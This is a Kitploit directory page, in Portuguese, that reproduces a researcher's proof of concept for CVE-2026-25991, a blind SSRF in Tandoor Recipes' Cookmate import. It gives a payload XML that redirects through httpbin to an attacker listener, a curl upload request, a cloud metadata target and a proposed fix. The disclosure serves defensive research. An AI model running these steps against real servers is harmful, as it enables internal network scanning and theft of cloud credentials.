Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25991 — Prova de conceito de exploit para CVE-2026-25991, um SSRF cego na importação Cookmate do Tandoor Recipes, permitindo que usuários autenticados acessem recursos internos. | Kitploit
Ferramentas/GitHubGitHub/drkim-dev/cve-2026-25991
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoRed Teaming
GitHubdrkim-dev/cve-2026-25991

CVE-2026-25991

Prova de conceito de exploit para CVE-2026-25991, um SSRF cego na importação Cookmate do Tandoor Recipes, permitindo que usuários autenticados acessem recursos internos.

Ver Repositório
21há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25991 PoC - Tandoor Recipes SSRF

Prova de Conceito para SSRF via Importação de Receitas

Divulgação: Originalmente reportado por mim via GHSA-j6xg-85mh-qqf7

⚠️ Uso exclusivo para pentest/pesquisa autorizados.

Informações da Vulnerabilidade

CampoValor
ID CVECVE-2026-25991
Severidade🔴 Alta
Pontuação CVSS7.7
Vetor CVSS[CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N]
CWECWE-918: Server-Side Request Forgery (SSRF)
Produto AfetadoTandoor Recipes ≤ 2.5.0
Versão Corrigida2.5.1
AdvisoryGHSA-j6xg-85mh-qqf7

CVE-2026-25991: SSRF Cego com Acesso à Rede Interna via Importação de Receitas

Resumo

Descobri uma vulnerabilidade de Server-Side Request Forgery (SSRF) Cego no recurso de importação de receitas Cookmate do Tandoor Recipes. A aplicação não valida a URL de destino após seguir redirecionamentos HTTP, permitindo que qualquer usuário autenticado (incluindo usuários padrão sem privilégios administrativos) force o servidor a se conectar a recursos internos ou externos arbitrários.

Esta vulnerabilidade pode ser explorada para escanear portas de rede interna, acessar metadados de instância em nuvem (por exemplo, AWS/GCP Metadata Service) ou divulgar o endereço IP real do servidor.


Detalhes

A vulnerabilidade está em cookbook/integration/cookmate.py, dentro da classe de integração Cookmate.

  1. Lógica Inicial: Ao processar um arquivo XML importado, a aplicação extrai o campo imageurl.
  2. Verificação Inicial: A URL é validada usando a função auxiliar validate_import_url (em cookbook/helper/HelperFunctions.py), que bloqueia corretamente faixas de IP privadas (por exemplo, 127.0.0.1, 10.0.0.0/8).
  3. A Bypass (Código Vulnerável): No entanto, imediatamente após a validação, o código usa requests.get(url) para baixar a imagem. Por padrão, a biblioteca requests segue redirecionamentos (allow_redirects=True). A função validate_import_url verifica apenas a URL inicial, mas não valida o destino final após ocorrer um redirecionamento.

Trecho de Código Vulnerável (cookbook/integration/cookmate.py:73):

root@kitploit:~
if validate_import_url(url):
    # CRÍTICO: requests.get segue redirecionamentos por padrão, contornando a verificação inicial.
    response = requests.get(url) 
    self.import_recipe_image(recipe, BytesIO(response.content))

Um atacante pode usar um serviço externo (como httpbin.org) para redirecionar a solicitação para um endereço interno restrito (por exemplo, http://127.0.0.1:80/ ou http://169.254.169.254/).

Crucialmente, a AppImportView (cookbook/views/api.py) permite explicitamente permissões CustomIsUser, o que significa que QUALQUER usuário registrado pode acionar esta vulnerabilidade. Nenhum direito administrativo especial é necessário.


PoC (Prova de Conceito)

Pré-requisitos:

  1. Uma conta de usuário padrão (não administrador) na instância Tandoor.
  2. Python instalado localmente (ou qualquer ferramenta de escuta HTTP como nc).

Passos para Reproduzir:

  1. Configure um listener (Máquina do Atacante): Abra um terminal e inicie o nc para escutar conexões de entrada. Isso simula um serviço interno ou servidor controlado pelo atacante.

    root@kitploit:~
    nc -lvnp 9999
    
  2. Crie um Payload XML Malicioso: Crie um arquivo chamado payload.xml. Substitua <YOUR_IP> pelo seu endereço IP público (ou IP acessível). Este payload usa httpbin.org para contornar a verificação inicial de IP privado e redirecionar para o seu listener.

    root@kitploit:~
    <recipes>
      <recipe>
        <title>SSRF_PoC</title>
        <!-- Redireciona para serviço interno ou listener do atacante -->
        <imageurl>https://httpbin.org/redirect-to?url=http%3A%2F%2F<YOUR_IP>%3A9999%2Fsecret.txt</imageurl>
      </recipe>
    </recipes>
    
화면 캡처 2026-02-07 125056
  1. Crie um arquivo ZIP: O Tandoor exige que o XML esteja dentro de um arquivo ZIP.

    root@kitploit:~
    zip payload.zip payload.xml
    
  2. Execute o Exploit (via API): Faça login como Usuário Padrão (não administrador) para obter o cookie de sessão e o token CSRF. Em seguida, envie uma solicitação POST para /api/import/: (Substitua <TARGET_URL>, <SESSION_ID>, <CSRF_TOKEN> pelos valores reais)

    root@kitploit:~
    curl -X POST 'http://<TARGET_URL>/api/import/' \
      -H 'Cookie: sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>' \
      -H 'X-CSRFToken: <CSRF_TOKEN>' \
      -F 'type=COOKMATE' \
      -F '[email protected]' \
      -F 'duplicates=true'
    
화면 캡처 2026-02-07 124915
화면 캡처 2026-02-07 124606
  1. Verifique a Conexão: Verifique o terminal do seu listener (nc). Você verá uma solicitação HTTP GET de entrada do servidor Tandoor. Isso confirma que o servidor, agindo em nome de um usuário padrão, conectou-se a um recurso externo/interno arbitrário.
    root@kitploit:~
    GET /secret.txt HTTP/1.1
    Host: <YOUR_IP>:9999
    User-Agent: python-requests/2.x.x
    ...
    
화면 캡처 2026-02-07 124642

Impacto

  • Escaneamento de Rede Interna: Atacantes podem sondar portas internas para descobrir serviços em execução.
  • Vazamento de Metadados em Nuvem: Se implantado em AWS/GCP/Azure, atacantes podem acessar os metadados da instância (por exemplo, http://169.254.169.254/latest/meta-data/) para roubar credenciais IAM, levando ao comprometimento total da infraestrutura.
  • Severidade: Alta (CVSS ~8.0) porque requer privilégios baixos (usuário padrão) e pode levar a um impacto significativo (acesso a metadados/escaneamento interno).

Remediação

Desative o seguimento automático de redirecionamentos na chamada requests.get ou implemente validação rigorosa para URLs de redirecionamento.

Diff (Correção Proposta):

root@kitploit:~
# cookbook/integration/cookmate.py

# Opção 1: Desativar Redirecionamentos (Recomendado)
response = requests.get(url, allow_redirects=False)

# Opção 2: Validar Redirecionamentos
# (Lógica complexa necessária para verificar cada salto de redirecionamento contra faixas de IP privadas)
Baixar ferramenta